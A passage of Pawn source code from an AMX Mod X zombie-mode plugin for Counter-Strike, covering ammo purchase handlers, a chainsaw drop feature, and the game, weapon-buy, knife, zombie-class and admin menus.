public clcmd_saymenu(id) {
	show_menu_game(id)
}

public clcmd_sayunstuck(id) {
	menu_game(id, 3) // try to get unstuck
}

public clcmd_nightvision(id) {
	if (g_nvision[id])
	{
		g_nvisionenabled[id] = !(g_nvisionenabled[id])
		
		if (get_pcvar_num(cvar_customnvg))
		{
			remove_task(id+TASK_NVISION)
			if (g_nvisionenabled[id]) set_task(0.1, "set_user_nvision", id+TASK_NVISION, _, _, "b")
		}
		else
			set_user_gnvision(id, g_nvisionenabled[id])
	}
	
	return PLUGIN_HANDLED;
}

public clcmd_buyammo(id) {
	if (!g_isalive[id] || get_pcvar_num(cvar_infammo))
		return PLUGIN_HANDLED;
	
	if (g_zombie[id])
	{
		zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_HUMAN_ONLY")
		return PLUGIN_HANDLED;
	}
	
	// Custom buytime enabled and human player standing in buyzone, allow buying weapon's ammo normally instead
	if (g_cached_buytime > 0.0 && !g_survivor[id] && (get_gametime() < g_buytime[id] + g_cached_buytime) && cs_get_user_buyzone(id))
		return PLUGIN_CONTINUE;
	
	if (zp_cs_get_user_money(id) < 150)
	{
		//zp_colored_print(id, "^x04[ZP]^x01 %L", id, "NOT_ENOUGH_AMMO")
		client_print(id, print_chat, "%L", id, "ZBM_NOT")
		return PLUGIN_HANDLED;
	}
	
	static weapons[32], num, i, currentammo, weaponid, refilled
	num = 0
	refilled = false
	get_user_weapons(id, weapons, num)
	
	for (i = 0; i < num; i++)
	{
		weaponid = weapons[i]
		
		if (MAXBPAMMO[weaponid] > 2)
		{
			currentammo = cs_get_user_bpammo(id, weaponid)
			
			ExecuteHamB(Ham_GiveAmmo, id, BUYAMMO[weaponid], AMMOTYPE[weaponid], MAXBPAMMO[weaponid])
			
			if (cs_get_user_bpammo(id, weaponid) - currentammo > 0) refilled = true
		}
	}
	
	if (!refilled) return PLUGIN_HANDLED;
	
	zp_cs_set_user_money(id, zp_cs_get_user_money(id) - 150)
	emit_sound(id, CHAN_ITEM, sound_buyammo, 1.0, ATTN_NORM, 0, PITCH_NORM)
	zp_colored_print(id, "^x04[ZP]^x01 %L", id, "AMMO_BOUGHT")
	
	return PLUGIN_HANDLED;
}

public clcmd_buyammo1(id)
{
	// Not alive or infinite ammo setting enabled
	if (!g_isalive[id])
		return PLUGIN_HANDLED
		
	// Not human
	if (g_zombie[id] || g_survivor[id])
		return PLUGIN_HANDLED
	
	// Get user weapons
	static weapons[32], num, i, currentammo, weaponid, refilled
	num = 0 // reset passed weapons count (bugfix)
	
	refilled = false
	get_user_weapons(id, weapons, num)
	
	// Loop through them and give the right ammo type
	for (i = 0; i < num; i++)
	{
		// Prevents re-indexing the array
		weaponid = weapons[i]
		
		if ((1<<weaponid) & PRIMARY_WEAPONS_BIT_SUM)
		{
			g_currentammoValue[id] = BUYAMMO[weaponid]
			g_currentammoCost[id] = weapon_ammo_costs[weaponid]
			g_currentammoMax[id] = MAXBPAMMO[weaponid]
			
			ExecuteForward(g_fwBuyAmmo1, g_fwDummyResult, id)
			
			if(g_fwDummyResult >= ZP_PLUGIN_HANDLED)
				return PLUGIN_HANDLED
			
			if(zp_cs_get_user_money(id) < g_currentammoCost[id])
			{
				if(cs_get_user_bpammo(id, weaponid) < g_currentammoMax[id])
				{
					client_print(id, print_center, "%L", id, "NOT_ENOUGH_MONEY")
			
					message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("BlinkAcct"), _, id)
					write_byte(5)
					message_end()
				}
			
				return PLUGIN_HANDLED
			}
			
			// Get current ammo of the weapon
			currentammo = cs_get_user_bpammo(id, weaponid)
			
			// Give additional ammo
			ExecuteHamB(Ham_GiveAmmo, id, g_currentammoValue[id], AMMOTYPE[weaponid], g_currentammoMax[id])
			
			// Check whether we actually refilled the weapon's ammo
			if (cs_get_user_bpammo(id, weaponid) - currentammo > 0) 
				refilled = true
				
			break
		}
	}
	
	// Weapons already have full ammo
	if (!refilled) 
	{
		// Loop through them and give the right ammo type
		for (i = 0; i < num; i++)
		{
			// Prevents re-indexing the array
			weaponid = weapons[i]
		
			if ((1<<weaponid) & PRIMARY_WEAPONS_BIT_SUM)
				client_print(id, print_center, "%L", id, "CAN_NOT_CARRY")
		}
		
		return PLUGIN_HANDLED
	}
	
	zp_cs_set_user_money(id, zp_cs_get_user_money(id) - g_currentammoCost[id])
	
	emit_sound(id, CHAN_ITEM, sound_buyammo, 1.0, ATTN_NORM, 0, PITCH_NORM)
	return PLUGIN_HANDLED
}

public clcmd_buyammo2(id)
{	
	// Not alive or infinite ammo setting enabled
	if (!g_isalive[id])
		return PLUGIN_HANDLED
	
	// Not human
	if (g_zombie[id] || g_survivor[id])
		return PLUGIN_HANDLED
	
	// Get user weapons
	static weapons[32], num, i, currentammo, weaponid, refilled
	num = 0 // reset passed weapons count (bugfix)
	refilled = false
	get_user_weapons(id, weapons, num)
	
	// Loop through them and give the right ammo type
	for (i = 0; i < num; i++)
	{
		// Prevents re-indexing the array
		weaponid = weapons[i]
		
		if ((1<<weaponid) & SECONDARY_WEAPONS_BIT_SUM)
		{
			g_currentammoValue[id] = BUYAMMO[weaponid]
			g_currentammoCost[id] = weapon_ammo_costs[weaponid]
			g_currentammoMax[id] = MAXBPAMMO[weaponid]
			
			ExecuteForward(g_fwBuyAmmo2, g_fwDummyResult, id)
			
			if(g_fwDummyResult >= ZP_PLUGIN_HANDLED)
				return PLUGIN_HANDLED
			
			// Not enough ammo packs
			if (zp_cs_get_user_money(id) < g_currentammoCost[id])
			{
				if(cs_get_user_bpammo(id, weaponid) < g_currentammoMax[id])
				{
					client_print(id, print_center, "%L", id, "NOT_ENOUGH_MONEY")
			
					message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("BlinkAcct"), _, id)
					write_byte(5)
					message_end()
				}
				
				return PLUGIN_HANDLED
			}
			
			// Get current ammo of the weapon
			currentammo = cs_get_user_bpammo(id, weaponid)
			
			// Give additional ammo
			ExecuteHamB(Ham_GiveAmmo, id, g_currentammoValue[id], AMMOTYPE[weaponid], g_currentammoMax[id])
			
			// Check whether we actually refilled the weapon's ammo
			if (cs_get_user_bpammo(id, weaponid) - currentammo > 0)
				refilled = true
			
			break
		}
	}
	
	// Weapons already have full ammo
	if (!refilled) 
	{
		// Loop through them and give the right ammo type
		for (i = 0; i < num; i++)
		{
			// Prevents re-indexing the array
			weaponid = weapons[i]
		
			if ((1<<weaponid) & SECONDARY_WEAPONS_BIT_SUM)
				client_print(id, print_center, "%L", id, "CAN_NOT_CARRY")
		}
		
		return PLUGIN_HANDLED
	}
	
	zp_cs_set_user_money(id, zp_cs_get_user_money(id) - g_currentammoCost[id])
	
	emit_sound(id, CHAN_ITEM, sound_buyammo, 1.0, ATTN_NORM, 0, PITCH_NORM)
	return PLUGIN_HANDLED
}


public clcmd_changeteam(id) {
	static team
	team = fm_cs_get_user_team(id)
	
	// Unless it's a spectator joining the game
	if (team == FM_CS_TEAM_SPECTATOR || team == FM_CS_TEAM_UNASSIGNED)
		return PLUGIN_CONTINUE;
	
	// Pressing 'M' (chooseteam) ingame should show the main menu instead
	show_menu_game(id)
	return PLUGIN_HANDLED;
}



//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
public clcmd_drop(id) {
	if (g_survivor[id])
		return PLUGIN_HANDLED;

	if(g_is_saw[id] && g_iCurrentWeapon[id] == CSW_KNIFE)
	{
		if(check_drop_flag(DROPFLAG_NORMAL))
		{
			drop_chainsaw(id);
			return PLUGIN_HANDLED;
		}
	}

	return PLUGIN_CONTINUE;
}

public drop_chainsaw(id) {
	static Float:flAim[3], Float:flOrigin[3]
	VelocityByAim(id, 64, flAim)
	entity_get_vector(id, EV_VEC_origin, flOrigin)
	
	flOrigin[0] += flAim[0]
	flOrigin[1] += flAim[1]

	new iEnt = create_entity("info_target")

	entity_set_string(iEnt, EV_SZ_classname, "cs_chainsaw")
	entity_set_origin(iEnt, flOrigin)
	entity_set_model(iEnt, model_wknife_chainsaw)

	set_size(iEnt, chainsaw_mins, chainsaw_maxs)
	entity_set_vector(iEnt, EV_VEC_mins, chainsaw_mins)
	entity_set_vector(iEnt, EV_VEC_maxs, chainsaw_maxs)

	entity_set_int(iEnt, EV_INT_solid, SOLID_TRIGGER)
	entity_set_int(iEnt, EV_INT_movetype, MOVETYPE_TOSS)
	
	g_is_saw[id] = false;
	
	reset_user_knife(id);
}

public reset_user_knife(id) {
	/*if(user_has_weapon(id, CSW_KNIFE))
		ExecuteHamB(Ham_Item_Deploy, find_ent_by_owner(-1, "weapon_knife", id))
	
	engclient_cmd(id, "weapon_knife");
	emessage_begin(MSG_ONE, g_msgCurWeapon, _, id);
	ewrite_byte(1);
	ewrite_byte(CSW_KNIFE);
	ewrite_byte(-1);
	emessage_end();*/

	replace_weapon_models(id, CSW_KNIFE);
}

check_drop_flag(flag) {
	new szFlags[10];
	get_pcvar_string(cvar_dropflags, szFlags, charsmax(szFlags));
	
	if(read_flags(szFlags) & flag)
		return true;
		
	return false;
}

a_lot_of_blood(id) {
	static iOrigin[3];
	get_user_origin(id, iOrigin);

	message_begin(MSG_PVS, SVC_TEMPENTITY, iOrigin);
	write_byte(TE_BLOODSTREAM);
	write_coord(iOrigin[0]);
	write_coord(iOrigin[1]);
	write_coord(iOrigin[2]+10);
	write_coord(random_num(-360, 360)); // x
	write_coord(random_num(-360, 360)); // y
	write_coord(-10); // z
	write_byte(70); // color
	write_byte(random_num(50, 100)); // speed
	message_end();

	for (new j = 0; j < 4; j++) 
	{
		message_begin(MSG_PVS, SVC_TEMPENTITY, iOrigin);
		write_byte(TE_WORLDDECAL);
		write_coord(iOrigin[0]+random_num(-100, 100));
		write_coord(iOrigin[1]+random_num(-100, 100));
		write_coord(iOrigin[2]-36);
		write_byte(random_num(190, 197));
		message_end();
	}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
show_menu_game(id) {
	static menu[512], len, userflags
	len = 0
	userflags = get_user_flags(id)
	
	// Title
	len += formatex(menu[len], charsmax(menu) - len, "\y%s^n^n", g_modname)
	
	// 1. Zombie class
	if (get_pcvar_num(cvar_zclasses))
		len += formatex(menu[len], charsmax(menu) - len, "\r1.\r %L^n", id,"MENU_ZCLASS")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d1. %L^n", id,"MENU_ZCLASS")
	
	// 2. Unstuck
	if (g_isalive[id])
		len += formatex(menu[len], charsmax(menu) - len, "\r2.\w %L^n", id, "MENU_UNSTUCK")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d2. %L^n", id, "MENU_UNSTUCK")
	
	// 3. spawn
	len += formatex(menu[len], sizeof menu - 1 - len, "\r3.\w %L^n", id, "RESPAWN")
	
	// 4. Servers
	len += formatex(menu[len], sizeof menu - 1 - len, "\r4.\w %L^n", id, "SERVERS")
	
	// 5. Rules
	len += formatex(menu[len], sizeof menu - 1 - len, "\r5.\r %L^n", id, "RULES")

	// 6. Vip
	len += formatex(menu[len], charsmax(menu) - len, "\r6.\w %L^n", id, "VIPAS")

	// 7. Lang
	len += formatex(menu[len], charsmax(menu) - len, "\r7.\w %L^n", id, "LANG")

	// 8. Donat money
	len += formatex(menu[len], sizeof menu - 1 - len, "\r8.\y %L^n^n", id, "MONEY")

	// 9. Admin menu
	if (userflags & g_access_flag[ACCESS_ADMIN_MENU])
		len += formatex(menu[len], charsmax(menu) - len, "\r9.\w %L", id, "MENU_ADMIN")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d9. %L", id, "MENU_ADMIN")
	
	// 0. Exit
	len += formatex(menu[len], charsmax(menu) - len, "^n^n\r0.\w %L", id, "MENU_EXIT")
	
	// Fix for AMXX custom menus
	set_pdata_int(id, OFFSET_CSMENUCODE, 0, OFFSET_LINUX)
	show_menu(id, KEYSMENU, menu, -1, "Game Menu")
}

public show_menu_buy1(taskid) {
	static id
	(taskid > g_maxplayers) ? (id = ID_SPAWN) : (id = taskid);
	
	if (!g_isalive[id] || g_zombie[id] || g_survivor[id])
		return;
	
	if (get_pcvar_num(cvar_randweapons) || g_isbot[id])
	{
		buy_primary_weapon(id, random_num(0, ArraySize(g_primary_items) - 1))
		menu_buy2(id, random_num(0, ArraySize(g_secondary_items) - 1))
		return;
	}
	
	if (WPN_AUTO_ON && taskid > g_maxplayers)
	{
		buy_primary_weapon(id, WPN_AUTO_PRI)
		menu_buy2(id, WPN_AUTO_SEC)
		return;
	}
	
	static menu[512], len, weap, maxloops
	len = 0
	maxloops = min(WPN_STARTID+7, WPN_MAXIDS)
	
	// Title
	len += formatex(menu[len], charsmax(menu) - len, "\y%L \r[%d-%d]^n^n", id, "MENU_BUY1_TITLE", WPN_STARTID+1, min(WPN_STARTID+7, WPN_MAXIDS))
	
	// 1-7. Weapon List
	for (weap = WPN_STARTID; weap < maxloops; weap++)
		len += formatex(menu[len], charsmax(menu) - len, "\r%d.\w %s^n", weap-WPN_STARTID+1, WEAPONNAMES[ArrayGetCell(g_primary_weaponids, weap)])
	
	// 8. Auto Select
	len += formatex(menu[len], charsmax(menu) - len, "^n\r8.\w %L \y[%L]", id, "MENU_AUTOSELECT", id, (WPN_AUTO_ON) ? "MOTD_ENABLED" : "MOTD_DISABLED")
	
	// 9. Next/Back - 0. Exit
	len += formatex(menu[len], charsmax(menu) - len, "^n^n\r9.\w %L/%L^n^n\r0.\w %L", id, "MENU_NEXT", id, "MENU_BACK", id, "MENU_EXIT")
	
	// Fix for AMXX custom menus
	set_pdata_int(id, OFFSET_CSMENUCODE, 0, OFFSET_LINUX)
	show_menu(id, KEYSMENU, menu, -1, "Buy Menu 1")
}

show_menu_buy2(id) {
	static menu[512], len, weap, maxloops
	len = 0
	maxloops = ArraySize(g_secondary_items)
	
	// Title
	len += formatex(menu[len], charsmax(menu) - len, "\y%L^n", id, "MENU_BUY2_TITLE")
	
	// 1-6. Weapon List
	for (weap = 0; weap < maxloops; weap++)
		len += formatex(menu[len], charsmax(menu) - len, "^n\r%d.\w %s", weap+1, WEAPONNAMES[ArrayGetCell(g_secondary_weaponids, weap)])
	
	// 8. Auto Select
	len += formatex(menu[len], charsmax(menu) - len, "^n^n\r8.\w %L \y[%L]", id, "MENU_AUTOSELECT", id, (WPN_AUTO_ON) ? "MOTD_ENABLED" : "MOTD_DISABLED")
	
	// 0. Exit
	len += formatex(menu[len], charsmax(menu) - len, "^n^n\r0.\w %L", id, "MENU_EXIT")
	
	// Fix for AMXX custom menus
	set_pdata_int(id, OFFSET_CSMENUCODE, 0, OFFSET_LINUX)
	show_menu(id, KEYSMENU, menu, -1, "Buy Menu 2")
}

show_menu_buy3(taskid) {
	static id
	(taskid > g_maxplayers) ? (id = ID_SPAWN) : (id = taskid);

	if (WPN_AUTOk_ON && taskid > g_maxplayers)
	{
		menu_buy3(id, WPN_AUTO_KF)
		return;
	}

	static menu[512], len, userflags
	len = 0
	userflags = get_user_flags(id)
	
	// Title
	len += formatex(menu[len], charsmax(menu) - len, "\y%L^n", id, "MENU_BUY3_TITLE")

	if (g_user_knife[id] == AXE)
		len += formatex(menu[len], charsmax(menu) - len, "^n\w1. %L", LANG_PLAYER, "KNIFE_AXE")
	else
		len += formatex(menu[len], charsmax(menu) - len, "^n\w1. %L", LANG_PLAYER, "KNIFE_AXE_CHOOSE")

	if (g_user_knife[id] == STRONG)
		len += formatex(menu[len], charsmax(menu) - len, "^n\w2. %L", LANG_PLAYER, "KNIFE_STRONG")
	else
		len += formatex(menu[len], charsmax(menu) - len, "^n\w2. %L", LANG_PLAYER, "KNIFE_STRONG_CHOOSE")

	if (g_user_knife[id] == COMBAT)
		len += formatex(menu[len], charsmax(menu) - len, "^n\w3. %L", LANG_PLAYER, "KNIFE_COMBAT")
	else
		len += formatex(menu[len], charsmax(menu) - len, "^n\w3. %L", LANG_PLAYER, "KNIFE_COMBAT_CHOOSE")

	if (userflags & g_access_flag[ACCESS_ADMIN_MENU])
		len += formatex(menu[len], charsmax(menu) - len, "^n\w4. %L", LANG_PLAYER, "KNIFE_HAMMER")
	else
		len += formatex(menu[len], charsmax(menu) - len, "^n\w4. %L", LANG_PLAYER, "KNIFE_HAMMER_CHOOSE")

	//len += formatex(menu[len], charsmax(menu) - len, "^n^n8.\w %L \y[ %L ]", id, "MENU_AUTOSELECT", id, (WPN_AUTOk_ON) ? "MOTD_ENABLED" : "MOTD_DISABLED")

	len += formatex(menu[len], charsmax(menu) - len, "^n^n\r0.\w %L", id, "MENU_EXIT")
	
	// Fix for AMXX custom menus
	set_pdata_int(id, OFFSET_CSMENUCODE, 0, OFFSET_LINUX)
	show_menu(id, KEYSMENU, menu, -1, "Buy Menu 3")
}

public show_menu_zclass(id) {
	// Player disconnected
	if (!g_isconnected[id])
		return;
	
	// Bots pick their zombie class randomly
	if (g_isbot[id])
	{
		g_zombieclassnext[id] = random_num(0, g_zclass_i - 1)
		return;
	}
	
	static menuid, menu[512], class, buffer[64], buffer2[64]
	
	// Title
	formatex(menu, charsmax(menu), "%L\r", id, "MENU_ZCLASS_TITLE")
	menuid = menu_create(menu, "menu_zclass")
	
	// Class List
	for (class = 0; class < g_zclass_i; class++)
	{
		// Retrieve name and info
		ArrayGetString(g_zclass_name, class, buffer, charsmax(buffer))
		ArrayGetString(g_zclass_info, class, buffer2, charsmax(buffer2))
		
		if (contain(buffer, "ML_") != -1)
			format(buffer, charsmax(buffer), "%L", id, buffer[3])

		if (contain(buffer2, "ML_") != -1)
			format(buffer2, charsmax(buffer2), "%L", id, buffer2[3])
			
		// Add to menu
		if (class == g_zombieclassnext[id])
			formatex(menu, charsmax(menu), "\d%s %s", buffer, buffer2)
		else
			formatex(menu, charsmax(menu), "%s \y%s", buffer, buffer2)
		
		
		buffer[0] = class
		buffer[1] = 0
		menu_additem(menuid, menu, buffer)
	}
	
	// Back - Next - Exit
	formatex(menu, charsmax(menu), "%L", id, "MENU_BACK")
	menu_setprop(menuid, MPROP_BACKNAME, menu)
	formatex(menu, charsmax(menu), "%L", id, "MENU_NEXT")
	menu_setprop(menuid, MPROP_NEXTNAME, menu)
	formatex(menu, charsmax(menu), "%L", id, "MENU_EXIT")
	menu_setprop(menuid, MPROP_EXITNAME, menu)
	
	// Fix for AMXX custom menus
	set_pdata_int(id, OFFSET_CSMENUCODE, 0, OFFSET_LINUX)
	menu_display(id, menuid)
}

show_menu_info(id) {
	static menu[512]
	
	formatex(menu, charsmax(menu), "\y%L^n^n\r1.\w %L^n\r2.\w %L^n\r3.\w %L^n\r4.\w %L^n^n\r0.\w %L", id, "MENU_INFO_TITLE", id, "MENU_INFO1", id,"MENU_INFO2", id,"MENU_INFO3", id,"MENU_INFO4", id, "MENU_EXIT")
	
	// Fix for AMXX custom menus
	set_pdata_int(id, OFFSET_CSMENUCODE, 0, OFFSET_LINUX)
	show_menu(id, KEYSMENU, menu, -1, "Mod Info")
}

show_menu_admin(id) {
	static menu[512], len, userflags
	len = 0
	userflags = get_user_flags(id)
	
	// Title
	len += formatex(menu[len], charsmax(menu) - len, "\y%L^n^n", id, "MENU_ADMIN_TITLE")
	
	// 1. Zombiefy/Humanize command
	if (userflags & (g_access_flag[ACCESS_MODE_INFECTION] | g_access_flag[ACCESS_MAKE_ZOMBIE] | g_access_flag[ACCESS_MAKE_HUMAN]))
		len += formatex(menu[len], charsmax(menu) - len, "\r1.\w %L^n", id, "MENU_ADMIN1")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d1. %L^n", id, "MENU_ADMIN1")
	
	// 2. Nemesis command
	if (userflags & (g_access_flag[ACCESS_MODE_NEMESIS] | g_access_flag[ACCESS_MAKE_NEMESIS]))
		len += formatex(menu[len], charsmax(menu) - len, "\r2.\w %L^n", id, "MENU_ADMIN2")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d2. %L^n", id, "MENU_ADMIN2")
	
	// 3. Survivor command
	if (userflags & (g_access_flag[ACCESS_MODE_SURVIVOR] | g_access_flag[ACCESS_MAKE_SURVIVOR]))
		len += formatex(menu[len], charsmax(menu) - len, "\r3.\w %L^n", id, "MENU_ADMIN3")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d3. %L^n", id, "MENU_ADMIN3")
	
	// 4. Respawn command
	if (userflags & g_access_flag[ACCESS_RESPAWN_PLAYERS])
		len += formatex(menu[len], charsmax(menu) - len, "\r4.\w %L^n", id, "MENU_ADMIN4")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d4. %L^n", id, "MENU_ADMIN4")
	
	// 5. Swarm mode command
	if ((userflags & g_access_flag[ACCESS_MODE_SWARM]) && allowed_swarm())
		len += formatex(menu[len], charsmax(menu) - len, "\r5.\w %L^n", id, "MENU_ADMIN5")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d5. %L^n", id, "MENU_ADMIN5")
	
	// 6. Multi infection command
	if ((userflags & g_access_flag[ACCESS_MODE_MULTI]) && allowed_multi())
		len += formatex(menu[len], charsmax(menu) - len, "\r6.\w %L^n", id, "MENU_ADMIN6")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d6. %L^n", id, "MENU_ADMIN6")
	
	// 7. Plague mode command
	if ((userflags & g_access_flag[ACCESS_MODE_PLAGUE]) && allowed_plague())
		len += formatex(menu[len], charsmax(menu) - len, "\r7.\w %L^n", id, "MENU_ADMIN7")
	else
		len += formatex(menu[len], charsmax(menu) - len, "\d7. %L^n", id, "MENU_ADMIN7")
	
	// 0. Exit
	len += formatex(menu[len], charsmax(menu) - len, "^n\r0.\w %L", id, "MENU_EXIT")
	
	// Fix for AMXX custom menus
	set_pdata_int(id, OFFSET_CSMENUCODE, 0, OFFSET_LINUX)
	show_menu(id, KEYSMENU, menu, -1, "Admin Menu")
}

show_menu_player_list(id){
	static menuid, menu[512], player, userflags, buffer[2]
	userflags = get_user_flags(id)
	
	// Title
	switch (PL_ACTION)
	{
		case ACTION_ZOMBIEFY_HUMANIZE: formatex(menu, charsmax(menu), "%L\r", id, "MENU_ADMIN1")
		case ACTION_MAKE_NEMESIS: formatex(menu, charsmax(menu), "%L\r", id, "MENU_ADMIN2")
		case ACTION_MAKE_SURVIVOR: formatex(menu, charsmax(menu), "%L\r", id, "MENU_ADMIN3")
		case ACTION_RESPAWN_PLAYER: formatex(menu, charsmax(menu), "%L\r", id, "MENU_ADMIN4")
	}
	menuid = menu_create(menu, "menu_player_list")
	
	// Player List
	for (player = 0; player <= g_maxplayers; player++)
	{
		// Skip if not connected
		if (!g_isconnected[player])
			continue;
		
		// Format text depending on the action to take
		switch (PL_ACTION)
		{
			case ACTION_ZOMBIEFY_HUMANIZE: // Zombiefy/Humanize command
			{
				if (g_zombie[player])
				{
					if (allowed_human(player) && (userflags & g_access_flag[ACCESS_MAKE_HUMAN]))
						formatex(menu, charsmax(menu), "%s \r[%L]", g_playername[player], id, g_nemesis[player] ? "CLASS_NEMESIS" : "CLASS_ZOMBIE")
					else
						formatex(menu, charsmax(menu), "\d%s [%L]", g_playername[player], id, g_nemesis[player] ? "CLASS_NEMESIS" : "CLASS_ZOMBIE")
				}
				else
				{
					if (allowed_zombie(player) && (g_newround ? (userflags & g_access_flag[ACCESS_MODE_INFECTION]) : (userflags & g_access_flag[ACCESS_MAKE_ZOMBIE])))
						formatex(menu, charsmax(menu), "%s \y[%L]", g_playername[player], id, g_survivor[player] ? "CLASS_SURVIVOR" : "CLASS_HUMAN")
					else
						formatex(menu, charsmax(menu), "\d%s [%L]", g_playername[player], id, g_survivor[player] ? "CLASS_SURVIVOR" : "CLASS_HUMAN")
				}
			}
			case ACTION_MAKE_NEMESIS: // Nemesis command
			{
				if (allowed_nemesis(player) && (g_newround ? (userflags & g_access_flag[ACCESS_MODE_NEMESIS]) : (userflags & g_access_flag[ACCESS_MAKE_NEMESIS])))
				{
					if (g_zombie[player])
						formatex(menu, charsmax(menu), "%s \r[%L]", g_playername[player], id, g_nemesis[player] ? "CLASS_NEMESIS" : "CLASS_ZOMBIE")
					else
						formatex(menu, charsmax(menu), "%s \y[%L]", g_playername[player], id, g_survivor[player] ? "CLASS_SURVIVOR" : "CLASS_HUMAN")
				}
				else
					formatex(menu, charsmax(menu), "\d%s [%L]", g_playername[player], id, g_zombie[player] ? g_nemesis[player] ? "CLASS_NEMESIS" : "CLASS_ZOMBIE" : g_survivor[player] ? "CLASS_SURVIVOR" : "CLASS_HUMAN")
			}
			case ACTION_MAKE_SURVIVOR: // Survivor command
			{
				if (allowed_survivor(player) && (g_newround ? (userflags & g_access_flag[ACCESS_MODE_SURVIVOR]) : (userflags & g_access_flag[ACCESS_MAKE_SURVIVOR])))
				{
					if (g_zombie[player])
						formatex(menu, charsmax(menu), "%s \r[%L]", g_playername[player], id, g_nemesis[player] ? "CLASS_NEMESIS" : "CLASS_ZOMBIE")
					else
						formatex(menu, charsmax(menu), "%s \y[%L]", g_playername[player], id, g_survivor[player] ? "CLASS_SURVIVOR" : "CLASS_HUMAN")
				}
				else
					formatex(menu, charsmax(menu), "\d%s [%L]", g_playername[player], id, g_zombie[player] ? g_nemesis[player] ? "CLASS_NEMESIS" : "CLASS_ZOMBIE" : g_survivor[player] ? "CLASS_SURVIVOR" : "CLASS_HUMAN")
			}
			case ACTION_RESPAWN_PLAYER: // Respawn command
			{
				if (allowed_respawn(player) && (userflags & g_access_flag[ACCESS_RESPAWN_PLAYERS]))
					formatex(menu, charsmax(menu), "%s", g_playername[player])
				else
					formatex(menu, charsmax(menu), "\d%s", g_playername[player])
			}
		}
		
		// Add player
		buffer[0] = player
		buffer[1] = 0
		menu_additem(menuid, menu, buffer)
	}
	
	// Back - Next - Exit
	formatex(menu, charsmax(menu), "%L", id, "MENU_BACK")
	menu_setprop(menuid, MPROP_BACKNAME, menu)
	formatex(menu, charsmax(menu), "%L", id, "MENU_NEXT")
	menu_setprop(menuid, MPROP_NEXTNAME, menu)
	formatex(menu, charsmax(menu), "%L", id, "MENU_EXIT")
	menu_setprop(menuid, MPROP_EXITNAME, menu)
	
	// Fix for AMXX custom menus
	set_pdata_int(id, OFFSET_CSMENUCODE, 0, OFFSET_LINUX)
	menu_display(id, menuid)
}

//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
public menu_game(id, key) {
	switch (key)
	{
		case 0: // Zombie Classes
		{
			// Zombie classes enabled?
			if (get_pcvar_num(cvar_zclasses))
				show_menu_zclass(id)
			else
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ZCLASSES")
		}
		case 1: // stuck
		{
			// Check if player is stuck
			if (g_isalive[id])
			{
				if (is_player_stuck(id))
				{
					// Move to an initial spawn
					if (get_pcvar_num(cvar_randspawn))
						do_random_spawn(id) // random spawn (including CSDM)
					else
						do_random_spawn(id, 1) // regular spawn
				}
				else
					zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_STUCK")
			}
			else
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
		}
		case 2: // zspawn
		{
			console_cmd( id, "zspawn")
		}
		case 3: // rules
		{
			console_cmd( id, "say /server")
		}
		case 4: // rules
		{
			console_cmd( id, "rules!")
		}
		case 5: // /server
		{
			console_cmd( id, "say /vip")
		}
		case 6: // lang
		{
			console_cmd( id, "say /lang") 
		}
		case 7: // vip
		{
			console_cmd( id, "say /donate") 
		}
		case 8: // Admin Menu
		{
			// Check if player has the required access
			if (get_user_flags(id) & g_access_flag[ACCESS_ADMIN_MENU])
				show_menu_admin(id)
			else
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
		}
	}
	
	return PLUGIN_HANDLED;
}

public menu_buy1(id, key) {
	if (!g_isalive[id] || g_zombie[id] || g_survivor[id])
		return PLUGIN_HANDLED;
	
	if (key >= MENU_KEY_AUTOSELECT || WPN_SELECTION >= WPN_MAXIDS)
	{
		switch (key)
		{
			case MENU_KEY_AUTOSELECT: // toggle auto select
			{
				WPN_AUTO_ON = 1 - WPN_AUTO_ON
			}
			case MENU_KEY_NEXT: // next/back
			{
				if (WPN_STARTID+7 < WPN_MAXIDS)
					WPN_STARTID += 7
				else
					WPN_STARTID = 0
			}
			case MENU_KEY_EXIT: // exit
			{
				return PLUGIN_HANDLED;
			}
		}
		
		show_menu_buy1(id)
		return PLUGIN_HANDLED;
	}
	
	WPN_AUTO_PRI = WPN_SELECTION
	
	buy_primary_weapon(id, WPN_AUTO_PRI)
	
	show_menu_buy2(id)
	
	return PLUGIN_HANDLED;
}

buy_primary_weapon(id, selection) {
	// Drop previous weapons
	drop_weapons(id, 1)
	drop_weapons(id, 2)
	
	// Strip off from weapons
	fm_strip_user_weapons(id)
	fm_give_item(id, "weapon_knife")
	
	// Get weapon's id and name
	static weaponid, wname[32]
	weaponid = ArrayGetCell(g_primary_weaponids, selection)
	ArrayGetString(g_primary_items, selection, wname, charsmax(wname))
	
	// Give the new weapon and full ammo
	fm_give_item(id, wname)
	ExecuteHamB(Ham_GiveAmmo, id, MAXBPAMMO[weaponid], AMMOTYPE[weaponid], MAXBPAMMO[weaponid])
	
	// Weapons bought
	g_canbuy[id] = false
	
	// Give additional items
	static i
	for (i = 0; i < ArraySize(g_additional_items); i++)
	{
		ArrayGetString(g_additional_items, i, wname, charsmax(wname))
		fm_give_item(id, wname)
	}
}

public menu_buy2(id, key) {
	if (!g_isalive[id] || g_zombie[id] || g_survivor[id])
		return PLUGIN_HANDLED;
	
	if (key >= ArraySize(g_secondary_items))
	{
		if (key == MENU_KEY_AUTOSELECT)
			WPN_AUTO_ON = 1 - WPN_AUTO_ON
		
		if (key != MENU_KEY_EXIT)
			show_menu_buy2(id)
		
		return PLUGIN_HANDLED;
	}
	
